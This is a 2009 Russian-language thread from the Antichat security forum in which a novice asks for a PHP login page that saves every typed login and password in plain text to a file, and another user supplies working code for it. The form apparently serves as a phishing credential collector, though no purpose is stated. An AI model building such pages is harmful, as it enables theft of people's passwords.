ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Нужна помощь со скриптом на PHP
  #1  
Старый 09.01.2009, 15:10
Kurt
Новичок
Регистрация: 13.03.2004
Сообщений: 17
Провел на форуме:
30138

Репутация: -3
По умолчанию Нужна помощь со скриптом на PHP

Добрый день!
Нужен простой скрипт на PHP
Файл index.php
Форма:
Login
Password
Войти (Чтобы войти это была картинка)


Файл Data.dat или Data.txt
Всем нужно чтобы сохранялось то что пользователь напишет в строке Login и Password

если он ввел Login qwerty и Password 12345 то чтобы он в Файл Data.dat или Data.txt так и записался
qwerty|12345
dister|1234321

ну и т.д.

Знаю что скрипт очень простой но в PHP я не разбираюсь
Прошу помочь

Последний раз редактировалось Kurt; 09.01.2009 в 17:30..
 

  #2  
Старый 09.01.2009, 15:19
MuXaJIbI4
Познающий
Регистрация: 20.11.2008
Сообщений: 68
Провел на форуме:
108674

Репутация: 32
По умолчанию

<?php
if (isset($_POST['ok']))
{
$fd = fopen('Data.txt', "a+");
fwrite($fd, $_POST['login'].'|'.$_POST['pass']."\r\n");
fclose($fd);
}
?>
<HTML>
<HEAD>
<TITLE> New Document </TITLE>
</HEAD>
<BODY>
<FORM METHOD=POST>
Логин: <INPUT TYPE="text" NAME="login"><BR>
Пароль: <INPUT TYPE="password" NAME="pass"><BR>
<INPUT TYPE="submit" name="ok">
</FORM>
</BODY>
</HTML>
 

  #3  
Старый 09.01.2009, 16:06
Kurt
Новичок
Регистрация: 13.03.2004
Сообщений: 17
Провел на форуме:
30138

Репутация: -3
По умолчанию

Работает спасибо большое!!!!
 

  #4  
Старый 09.01.2009, 16:07
Kurt
Новичок
Регистрация: 13.03.2004
Сообщений: 17
Провел на форуме:
30138

Репутация: -3
По умолчанию

+10 Балов ))))
 

  #5  
Старый 09.01.2009, 17:02
Kurt
Новичок
Регистрация: 13.03.2004
Сообщений: 17
Провел на форуме:
30138

Репутация: -3
По умолчанию

такой вопрос а почему не работает если я пишу
вместо
<INPUT TYPE="submit" name="ok">
Это
<input type="image" src="submit_on.gif" name="ok" value="Submit" alt="Submit">

напишите как нужно если я Хочу чтобы кнопка Submit Была рисунком submit_on.gif
 

  #6  
Старый 09.01.2009, 17:06
Joker-jar
Постоянный
Регистрация: 11.03.2007
Сообщений: 581
Провел на форуме:
4172659

Репутация: 646


Отправить сообщение для Joker-jar с помощью ICQ
По умолчанию

джаваскриптом делай сабмит в случае с картинкой
 

  #7  
Старый 09.01.2009, 17:13
Kurt
Новичок
Регистрация: 13.03.2004
Сообщений: 17
Провел на форуме:
30138

Репутация: -3
По умолчанию

так что выходит чтобы вместо
TYPE="submit"
Было
TYPE="image"
нужен целый JavaScript ???
А без него никак??
 

  #8  
Старый 09.01.2009, 17:14
optimazer
Познающий
Регистрация: 04.12.2008
Сообщений: 46
Провел на форуме:
148562

Репутация: 57
По умолчанию

Цитата:
<form id="B1" method="post" action="bla">
<img src="картинка" onclick="func">
</form>
javascript
Цитата:
function func ()
{
getElementById("B1").submit()
}
 

  #9  
Старый 09.01.2009, 17:19
SMiX
Участник форума
Регистрация: 25.07.2005
Сообщений: 246
Провел на форуме:
457850

Репутация: 174
По умолчанию

Если <input name=ok type=submit /> заменить на type=image, то в $_POST вместо элемента "ok" будет два элемента "ok_x" и "ok_y", которые несут в себе координаты точки на картинке, по которой был произведён щелчок.
И вообще, советую делать проверку не так:
PHP код:
if (isset($_POST['ok'])) 
а
PHP код:
if (isset($_POST['login'], $_POST['pass'])) 

Последний раз редактировалось SMiX; 09.01.2009 в 17:25..
 

  #10  
Старый 09.01.2009, 17:26
Kurt
Новичок
Регистрация: 13.03.2004
Сообщений: 17
Провел на форуме:
30138

Репутация: -3
По умолчанию

и как полностью будет это смотреться??
<?php
if (isset($_POST['ok']))
{
$fd = fopen('Data.txt', "a+");
fwrite($fd, $_POST['login'].'|'.$_POST['pass']."\r\n");
fclose($fd);
}
?>
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ